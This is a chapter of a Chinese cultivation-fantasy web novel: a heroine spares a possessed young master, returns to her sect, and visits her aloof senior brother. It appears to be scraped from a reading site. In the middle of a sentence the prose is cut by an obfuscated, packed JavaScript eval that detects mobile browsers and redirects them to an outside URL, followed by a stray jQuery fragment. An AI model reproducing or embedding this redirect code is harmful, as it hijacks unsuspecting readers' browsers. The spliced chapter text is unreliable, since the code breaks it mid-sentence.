默认冷灰
24号文字
方正启体

19. 风铃

作者:孟仙台本书字数:K更新时间:
    宋晚汀闭上眼,握着剑,忽然很想捂住耳朵,周围很吵,耳边好似有无数个小人在说话,她们在说她不应该杀他。


    是她始终不够强大,才会面临这诸多问题、诸多她不喜欢的选择。


    体内的灵力开始消退,她渐渐感受到力竭。


    桑泠玉面色发白,依旧没有任何好转的迹象。


    不能再等下去了。


    她重新用几分力道,剑身又没入些。那层皮肉太脆弱,像是一张纸;一个人的命也太脆弱,像是一艘海上随时会翻的船。


    几乎没有丝毫阻力。


    宋晚汀手微不可察地在发抖。她是杀了宋妄禾这没错,厌欲鬼说的也的确没错,她不是什么好人,可是她从没杀过任何一个对她好的人。


    忽然,她的手上传来一阵微凉,剑身受阻。


    她低头望向自己的手,只见上面正搭着一只手。这只手并不温暖,反倒有些凉。


    她抬眼,道:“师姐。”


    是谢听柳。


    谢听柳眉眼间尚有倦怠,但望向她的目光很温和:“晚汀,若是害怕,不如让师姐来?”


    宋晚汀看着谢听柳,见她眼下青黑一片,想来已经许久未曾得到过很好的休息。


    便连她一向温暖的手,如今也染上了寒凉。


    宋晚汀轻轻摇头,道:“师姐休息吧,我没事。”


    谢听柳却并未松手,担忧的目光如有实质般落在她身上。


    宋晚汀渐渐冷静下来,手不再发颤,望向谢听柳的目光中也写上坚定。


    谢听柳终于松开手。


    宋晚汀体内的灵力已经变得滞涩,手脚也在慢慢发软。


    对不住了。


    她用力——


    有什么东西落地的声音传来。


    宋晚汀一时间不敢睁开眼。


    她极少会有怯懦的时候,但如今她真的不敢睁眼看。


    宋晚汀忽然听见一声笑意,很轻,像是从鼻腔里挤出来的气音,又带着些如水汽般的虚弱:“仙子,疼。”


    声音极轻,落进她耳畔的时候,还带着些委屈的尾音。


    宋晚汀睁眼,桑泠玉的脸距离她很近,脖颈上刺目的血显得他整个人泛着病态的白,他额头上纵横的青筋正在渐渐消退,玉面瓷白,眉目绮丽。


    她低头望去,落在地面上的只是一截断裂的玉簪。


    是他束发用的。


    宋晚汀吐出一口气,方才感觉自己鬓边的小碎花都要枯萎了,现在总算能活过来了。


    但是还不能完全放心,她收回剑,问道:“你将厌欲鬼消化掉了吗?”


    虽然她不知道具体的情况,但大抵也能猜到些。


    桑泠玉说是因为之前吃过并吸收了厌欲鬼的一部分,它只差一步便能成为他身体的一部分,被他彻底吸收,他正愁怎么彻底吃掉厌欲鬼,没想到它会自己送上门来。


    他语调很轻松,像是方才历经生死的人不是他一般。但宋晚汀见过他痛苦的模样,知晓他就是实打实地在鬼门关走了一遭。


    宋晚汀神色复杂,低声道了一声谢。


    桑泠玉那点委屈已经褪下去了,他伸手轻轻握住宋晚汀未收起的剑,不知用了什么法子,消去了上面未来得及擦拭的鲜血。


    他面上仍然是那番笑:“仙子为何要谢我,我吸收了厌欲鬼,对我来说当然是好事一桩,倒是我要谢谢仙子,多谢仙子救下我。”


    话毕,他又问宋晚汀名字,宋晚汀这次很认真地回答:“宋晚汀,怜青宗弟子。”


    *


    厌欲鬼死了,幻境彻底崩塌,困于幻境中的人终于得以重见天日。


    宋晚汀也终于再次见到云师姐,当时的铃声果然被妖鬼阻隔了,云师姐久久没能听见铃声,便想着进来瞧瞧,却在进入她房中的瞬间被妖鬼留下的异香迷晕,再醒来,便已过了很久,她尝试着找到妖鬼进入幻境却也没有丝毫进展。


    云师姐自责了很久,直到瞧见宋晚汀没事,又加上宋晚汀和谢听柳的劝慰,这才放下心来。


    好在厌欲鬼本身比较好男色,所以被掳走的姑娘大都只是受了些惊吓和皮外伤,并无大碍,搂着姐妹哭一顿,再吃顿好的睡顿香的,便也就过去了。


    就是苦了些男弟子,着实受了些苦头。不过好在当今的修真界是开放的修真界,他们都是合欢宗弟子,对这些倒也没有那般看重,更不会因为这个被人取笑,故而再难以释怀最终也只能释怀了。


    宋晚汀后来听其中一个姓李的合欢宗弟子说,其实最难熬的倒不是交欢这件事,而是厌欲鬼分明掳他们来的时候,用的是极其漂亮的一张皮囊,若是是那张脸倒也就罢了,可它不知道是什么阴暗的心思在作祟,交欢亲昵的时候反倒硬要用自己的真身。


    宋晚汀设身处地地想了想,那着实恶心,毕竟厌欲鬼真身那副模样实在是让人毫无欲望。即便是前戏做得再足,恐怕也是看见它那张脸和身子的瞬间便没感觉了。


    嗯,很养胃。


    桑泠玉平安归来,整个桑家无有不喜,准备了美味佳肴慰问和犒劳众人,最后又为宋晚汀等人奉上了厚礼。


    夜里宋晚汀翻开那些东西,发现了不少有趣的,还有装满整个储物袋的灵石。要不然怎么说桑家是大户人家呢。


    这一夜有人欢喜有人愁,按理来说宋晚汀应该是开心的,但她却怎么也开心不起来。


    这次烧血咒的反噬并没有让她直接晕过去,但她能明显感觉到,过了很久她的灵脉也没有恢复过来,仿佛有什么东西又在悄悄生变了,但她一时间不能知道究竟是什么。


    宋晚汀那夜歇息后,再醒来,本以为只是寻常的一个第二日,但谢听柳却和她说她整整睡了三日。


    期间谢听柳和云师姐都以为她出了事,情急之下进了她睡的那间客房,唤来了医修,却也没有看出什么来,只说是她太过劳累,加上身上怨气太重,所以才昏睡过去。


    宋晚汀听了这话也算是明白她身上的烧血咒隐藏得极深,常人一般是瞧不出来的。但偏偏温惊沂瞧出来了。


    思及至此,她忽然好奇温惊沂如今在哪里,又在做什么,几日过去了,妖鬼潮应当已经被解决了吧。


    若是已经解决了,他为什么不能来看看她呢?


    这个念头跳出来的瞬间,她歪着的脑袋猛然间摆正,像是课上走神被夫子发现时的惊骇一般,而后便是一声自嘲的笑。


    他怎么会来看她,她算是什么呢,他又有什么理由来看她呢?便连幻境中的短暂一见他都不愿意向她走近些。


    温惊沂,你好难接近啊。


    她一边在心中念叨着这些琐碎的事,一边盼望着云水城中的事能快些解决。


    云水城中的势力交错纵横,这件事又牵扯到一个合欢宗,毕竟合欢宗对于这件事的反应实在反常。


    本来她是想跟着谢听柳一起去合欢宗跑一趟的,但谢听柳强硬地要让她留下来休息,宋晚汀实在反抗不了听柳师姐温温柔柔的威严,便留下来。


    桑泠玉倒是时常来寻她,问了她许多问题,诸如她喜欢吃些什么,穿些什么,喜欢什么颜色这类的问题,她烦不胜烦,但碍于两人也算是有了过命的交情,还是一一耐心回答了。


    后来听柳师姐说问题解决了,她自然相信听柳师姐,便没有再问。


    事情彻底告一段落后,几人便要返程回怜青宗了。


    回怜青宗的那日,她久违地心情还算不错,打算同桑泠玉好好道个别,却没想到桑泠玉前脚刚接受了她情真意切的道别,转头便登上和她同一艘仙舟。


    宋晚汀与桑泠玉还有他带来的杂七杂八的东西大眼瞪小眼,又偏头望向还在不停往仙舟上搬东西的下人,而后看向在仙舟下挥洒泪水与桑泠玉道别的桑家家主,终于搞明白是怎么一回事。


    桑泠玉要拜入怜青宗。


    桑家家主临行前拜托她和谢听柳等人关照桑泠玉,又说桑泠玉本来便收到了怜青宗入门牒,但却一直不愿意去,如今不知想通了什么,终于愿意去看看。


    桑泠玉带了极多东西,从吃的到穿的到用的,甚至还带了一张床。


    桑小少爷说仙舟上的床或许睡不惯,大手一挥,将仙舟上的床全换成了他喜欢的,包括一应家具用品,通通换了。


    对此,宋晚汀不做评价,反正仙舟又不是她的。


    不过望着这艘仙舟张扬的装潢,她还是有点怀念来时那艘温惊沂的仙舟,清清冷冷的,最起码不会吵到她的眼睛。


    就这般,仙舟行进不久,宋晚汀回到属于自己的宗门,回到祈遂峰,回到瑶光榭。


    瑶光榭谣雾花依旧好好地开着,并不知主人一路的艰辛与苦楚。


    宋晚汀将路途中收集回来的玉简一一摆放到书架上,一阵风穿堂而过,她忽然便想起那个送她玉简的人。


    他回来了吗?


    若是没回来是不是出事了,若是回来了为什么不来看看她。


    师尊不是说要让他照顾好她的吗?


    宋晚汀放下玉简,忽觉心口一阵滞涩,想到也许是烧血咒的后遗症尚还未曾好全。


    她捂住心口,找到了名正言顺去琼月境的理由。


    *


    琼月境。


    月明星疏,最是人深人静时。


    宋晚汀踏入琼月境的瞬间,琼月境悬在外头的风铃被吹动,响了几声,但很快便销声匿迹了,像是被人忽然按住。


    宋晚汀一路畅通无阻,绕过回廊,至温惊沂的寝居外。


    她没有进去,在门外晃了晃挂在门外的风铃,指节曲起,叩响了门。


    她凝神仔细听屋内


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002748|193170||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的动静,但只听见了一片静谧。


    莫非是还未回来?


    她在门外等了等,忽而觉得今夜有些冷,她搓了搓手臂,一时间不知道是该怪今夜的风太大还是他这琼月境太过清寒。


    看来是不在了。


    她抿唇欲要转身离去,却见门轻声打开一道缝。


    她向内望去,却没见到温惊沂。


    她一时间不太明白是什么意思,但还是伸手推开门,朝里走去。


    温惊沂的洞府内装潢陈设很简单清雅,一看便是他的作风。


    但宋晚汀逛了一圈也没见到温惊沂,只得再向里走去。


    她一路走一路看,将屋内的陈设尽收眼底,甚至在看到每个地方的时候都能联想到温惊沂会在这里做什么,温惊沂在这里的模样。


    她小心隐秘地在心里描画着他,就像是在缓慢入侵蚕食他的世界。


    是他放她进来的,即便那门或许是被风吹开的,那也是天意。


    宋晚汀步调很轻,有如夜里的鬼魅,他的洞府实在很大,她逛了好久才逛到最后一处,那里不知为何设了一个法阵。


    法阵之后是一扇紧闭的门。


    宋晚汀望着那道法阵,疑心温惊沂就在里面,但毕竟她并非主人,总不好直接强行破除主人布下的法阵。


    四周安静到能听见水滴低落的声音,似乎还有潺潺的流水声。


    宋晚汀环顾四周,却没有见到任何与水有关的东西。


    那便是从法阵的那头传来的了。


    温惊沂究竟在做什么?


    宋晚汀心中疑窦丛生,想了想要不然还是离去好了,不论是不是温惊沂给她开的门,冲着这架势,他好像也并不想见她。


    但宋晚汀这个人偏生又是个犟骨头,既然有了疑虑,何况这疑虑还同温惊沂有关,那她就一定要解开。


    宋晚汀走到法阵前,抬手,欲要破除法阵。


    但就在她抬手的瞬间,法阵便忽然消散了。


    玉门“吱呀”一声轻启,丝丝潮冷的雾气从中透出来,落得一地霜白。


    温惊沂垂着眸,月白衣袍曳地,他乌发未束,只一根玉簪松松地挽着。


    他面容冷淡,眉目清寒,鸦黑的睫羽长而密,薄唇无甚血色。


    宋晚汀望着他这副模样,竟然无端生出种他现在好像很脆弱的感觉。


    她视线在他身上逡巡一番,从他的面颊落到他散落在肩胛骨的发丝上。


    她看得明目张胆,面上平淡,视线却一瞬不离。


    许是她看得有些久了,温惊沂似有不耐,掀起眼帘也看向她,眼中清寒更甚。


    宋晚汀晃了神,这才退后两步,面上泛起温顺的笑,看着他的眼睛道:“师兄。”


    不知道为什么,温惊沂没有第一时间回答她,冷淡的视线落在她脸上,看得很认真,就像是想从她那张乖顺的脸上找出些什么特别的东西一样。


    宋晚汀不喜欢被人这样看着,也不喜欢温惊沂不搭理她的模样。


    于是她面上更无辜了,仰头道:“师兄,你在看什么?什么时候回来的?”


    温惊沂终于将视线移开,声音疏离浅淡:“不久前。”


    他没有回答她上一个问题。


    宋晚汀也不计较,温惊沂嘛,偶尔高深莫测一下也是正常的。


    她还想说些什么,心口那股滞涩感便又来了,她忙查看灵脉,发觉灵脉又开始枯竭了。


    温惊沂似乎一直在看着她,她检查完灵脉一抬眼便对上了温惊沂寒潭般的眼睛。


    温惊沂问她怎么了。


    她忽然来了兴致,用上了毕生修炼的演技,双瞳中登时溢满水润润的将落不落的泪水,她委委屈屈地道:“在云水城受伤了,现在还未好全。”


    温惊沂瞧着她的泪水,看起来没有反应,她登时心中便有些恼怒,疑心是不是自己的演技出了什么问题。


    但她刚想要发作,在瞧见温惊沂那张漂亮的脸时又有些偃旗息鼓。


    他瞧着她,神色认真,那些刻意的或者不刻意的疏离好似都散去了些。


    宋晚汀想要听他说些什么,极不喜欢他的沉默。


    不知具体从哪里传来几声风铃声,温惊沂在这时,说了声冒犯,之后她便感受到一股微凉的冷意进了她的识海。


    他的神识入她识海,擦过她神识的时候带来一阵颤栗。


    灵魂上的颤栗。


    他的神识与他本人一般,微凉而清冽,像是北地雪原上刮过的风、下过的雪。


    宋晚汀不知道他要做什么,只知道那种靡靡的兴奋让她浑身都在轻轻颤抖。


    她有些紧张,而后便感觉到温惊沂的神识轻轻敲了敲她的识海,似是在安抚,似是在引诱、又似是带着恶意地撬开她紧闭的心门,直达最深处。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)